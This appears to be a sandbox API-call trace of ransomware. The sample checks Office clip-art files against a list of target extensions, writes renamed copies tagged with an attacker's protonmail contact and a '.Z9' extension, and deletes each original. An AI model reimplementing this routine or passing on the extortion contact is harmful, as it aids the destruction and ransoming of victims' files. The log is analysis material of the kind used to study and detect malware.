	[0096.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.290] lstrlenW (lpString=".bz2") returned 4
	[0096.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.290] lstrlenW (lpString=".7z") returned 3
	[0096.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0096.290] lstrlenW (lpString=".dbf") returned 4
	[0096.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0096.290] lstrlenW (lpString=".1cd") returned 4
	[0096.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0096.290] lstrlenW (lpString=".jpg") returned 4
	[0096.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.290] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.291] lstrlenW (lpString="J0090027.WMF") returned 12
	[0096.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0096.291] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=21268) returned 1
	[0096.291] CloseHandle (hObject=0x2bc) returned 1
	[0096.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 0x220
	[0096.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0096.291] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.291] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0096.292] GetLastError () returned 0x0
	[0096.292] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x5314, lpOverlapped=0x0) returned 1
	[0096.301] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5320, lpOverlapped=0x0) returned 1
	[0096.302] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.302] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.302] SetEndOfFile (hFile=0x398) returned 1
	[0096.303] CloseHandle (hObject=0x398) returned 1
	[0096.303] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.303] SetEndOfFile (hFile=0x2bc) returned 1
	[0096.304] CloseHandle (hObject=0x2bc) returned 1
	[0096.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 1
	[0096.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0096.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0096.304] lstrlenW (lpString=".doc") returned 4
	[0096.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.304] lstrlenW (lpString=".docx") returned 5
	[0096.304] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0096.304] lstrlenW (lpString=".pdf") returned 4
	[0096.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.304] lstrlenW (lpString=".xls") returned 4
	[0096.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.304] lstrlenW (lpString=".xlsx") returned 5
	[0096.304] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0096.304] lstrlenW (lpString=".ppt") returned 4
	[0096.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0096.304] lstrlenW (lpString=".zip") returned 4
	[0096.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.304] lstrlenW (lpString=".rar") returned 4
	[0096.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.305] lstrlenW (lpString=".bz2") returned 4
	[0096.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.305] lstrlenW (lpString=".7z") returned 3
	[0096.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0096.305] lstrlenW (lpString=".dbf") returned 4
	[0096.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0096.305] lstrlenW (lpString=".1cd") returned 4
	[0096.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0096.305] lstrlenW (lpString=".jpg") returned 4
	[0096.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0096.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0096.305] lstrlenW (lpString=".doc") returned 4
	[0096.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.305] lstrlenW (lpString=".docx") returned 5
	[0096.305] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0096.305] lstrlenW (lpString=".pdf") returned 4
	[0096.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.305] lstrlenW (lpString=".xls") returned 4
	[0096.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.305] lstrlenW (lpString=".xlsx") returned 5
	[0096.305] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0096.305] lstrlenW (lpString=".ppt") returned 4
	[0096.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0096.305] lstrlenW (lpString=".zip") returned 4
	[0096.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.305] lstrlenW (lpString=".rar") returned 4
	[0096.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.305] lstrlenW (lpString=".bz2") returned 4
	[0096.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.306] lstrlenW (lpString=".7z") returned 3
	[0096.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0096.306] lstrlenW (lpString=".dbf") returned 4
	[0096.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0096.306] lstrlenW (lpString=".1cd") returned 4
	[0096.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0096.306] lstrlenW (lpString=".jpg") returned 4
	[0096.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.306] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.306] lstrlenW (lpString="J0090087.WMF") returned 12
	[0096.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0096.320] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=46936) returned 1
	[0096.320] CloseHandle (hObject=0x2bc) returned 1
	[0096.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 0x220
	[0096.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0096.321] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.321] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0096.322] GetLastError () returned 0x0
	[0096.322] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xb758, lpOverlapped=0x0) returned 1
	[0096.336] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xb760, lpOverlapped=0x0) returned 1
	[0096.338] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.338] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.338] SetEndOfFile (hFile=0x398) returned 1
	[0096.338] CloseHandle (hObject=0x398) returned 1
	[0096.338] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.338] SetEndOfFile (hFile=0x2bc) returned 1
	[0096.407] CloseHandle (hObject=0x2bc) returned 1
	[0096.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 1
	[0096.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0096.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0096.407] lstrlenW (lpString=".doc") returned 4
	[0096.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.408] lstrlenW (lpString=".docx") returned 5
	[0096.408] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0096.408] lstrlenW (lpString=".pdf") returned 4
	[0096.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.408] lstrlenW (lpString=".xls") returned 4
	[0096.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.408] lstrlenW (lpString=".xlsx") returned 5
	[0096.408] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0096.408] lstrlenW (lpString=".ppt") returned 4
	[0096.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0096.408] lstrlenW (lpString=".zip") returned 4
	[0096.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.408] lstrlenW (lpString=".rar") returned 4
	[0096.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.408] lstrlenW (lpString=".bz2") returned 4
	[0096.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.408] lstrlenW (lpString=".7z") returned 3
	[0096.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0096.408] lstrlenW (lpString=".dbf") returned 4
	[0096.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0096.408] lstrlenW (lpString=".1cd") returned 4
	[0096.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0096.408] lstrlenW (lpString=".jpg") returned 4
	[0096.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0096.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0096.408] lstrlenW (lpString=".doc") returned 4
	[0096.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.408] lstrlenW (lpString=".docx") returned 5
	[0096.408] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0096.408] lstrlenW (lpString=".pdf") returned 4
	[0096.409] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.409] lstrlenW (lpString=".xls") returned 4
	[0096.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.409] lstrlenW (lpString=".xlsx") returned 5
	[0096.409] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0096.409] lstrlenW (lpString=".ppt") returned 4
	[0096.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0096.409] lstrlenW (lpString=".zip") returned 4
	[0096.409] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.409] lstrlenW (lpString=".rar") returned 4
	[0096.409] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.409] lstrlenW (lpString=".bz2") returned 4
	[0096.409] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.409] lstrlenW (lpString=".7z") returned 3
	[0096.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0096.409] lstrlenW (lpString=".dbf") returned 4
	[0096.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0096.409] lstrlenW (lpString=".1cd") returned 4
	[0096.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0096.409] lstrlenW (lpString=".jpg") returned 4
	[0096.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.409] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.409] lstrlenW (lpString="J0090089.WMF") returned 12
	[0096.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0096.410] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=15760) returned 1
	[0096.410] CloseHandle (hObject=0x2bc) returned 1
	[0096.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220
	[0096.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0096.410] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.410] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0096.411] GetLastError () returned 0x0
	[0096.411] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x3d90, lpOverlapped=0x0) returned 1
	[0096.412] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3da0, lpOverlapped=0x0) returned 1
	[0096.413] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.413] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.413] SetEndOfFile (hFile=0x398) returned 1
	[0096.413] CloseHandle (hObject=0x398) returned 1
	[0096.413] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.414] SetEndOfFile (hFile=0x2bc) returned 1
	[0096.414] CloseHandle (hObject=0x2bc) returned 1
	[0096.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 1
	[0096.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0096.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0096.415] lstrlenW (lpString=".doc") returned 4
	[0096.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.415] lstrlenW (lpString=".docx") returned 5
	[0096.415] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0096.415] lstrlenW (lpString=".pdf") returned 4
	[0096.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.415] lstrlenW (lpString=".xls") returned 4
	[0096.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.415] lstrlenW (lpString=".xlsx") returned 5
	[0096.415] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0096.415] lstrlenW (lpString=".ppt") returned 4
	[0096.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0096.415] lstrlenW (lpString=".zip") returned 4
	[0096.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.415] lstrlenW (lpString=".rar") returned 4
	[0096.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.415] lstrlenW (lpString=".bz2") returned 4
	[0096.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.415] lstrlenW (lpString=".7z") returned 3
	[0096.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0096.415] lstrlenW (lpString=".dbf") returned 4
	[0096.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0096.416] lstrlenW (lpString=".1cd") returned 4
	[0096.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0096.416] lstrlenW (lpString=".jpg") returned 4
	[0096.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0096.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0096.416] lstrlenW (lpString=".doc") returned 4
	[0096.416] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.416] lstrlenW (lpString=".docx") returned 5
	[0096.416] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0096.416] lstrlenW (lpString=".pdf") returned 4
	[0096.416] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.416] lstrlenW (lpString=".xls") returned 4
	[0096.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.416] lstrlenW (lpString=".xlsx") returned 5
	[0096.416] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0096.416] lstrlenW (lpString=".ppt") returned 4
	[0096.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0096.416] lstrlenW (lpString=".zip") returned 4
